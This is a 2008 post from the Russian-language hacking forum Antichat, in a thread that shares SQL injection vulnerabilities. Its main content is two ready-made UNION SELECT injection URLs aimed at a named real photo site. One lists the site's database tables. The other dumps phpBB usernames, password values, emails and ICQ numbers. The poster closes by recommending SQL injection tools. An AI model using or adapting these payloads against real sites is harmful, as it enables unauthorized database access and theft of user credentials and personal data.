SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

30.06.2008, 19:52

SUBJECT617

Познающий

Регистрация: 06.08.2007

Сообщений: 85

С нами: 9875274

Репутация: 91

Цитата:

http://nn-photo.ru/photo.php?id=-1+union+select+1,2,3,table_name,5+from+information _schema.tables+where+table_name+like+0x25757365722 5/*

Цитата:

http://nn-photo.ru/photo.php?id=-1+union+select+1,2,3,concat_ws(0x3a,username,user_ password,user_email,user_icq),5+from+piter_phpbb_u sers/*

Страшный случай. Смотрим в исходном коде

Лучше для этого юзать SQL inj tools ИМХО

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home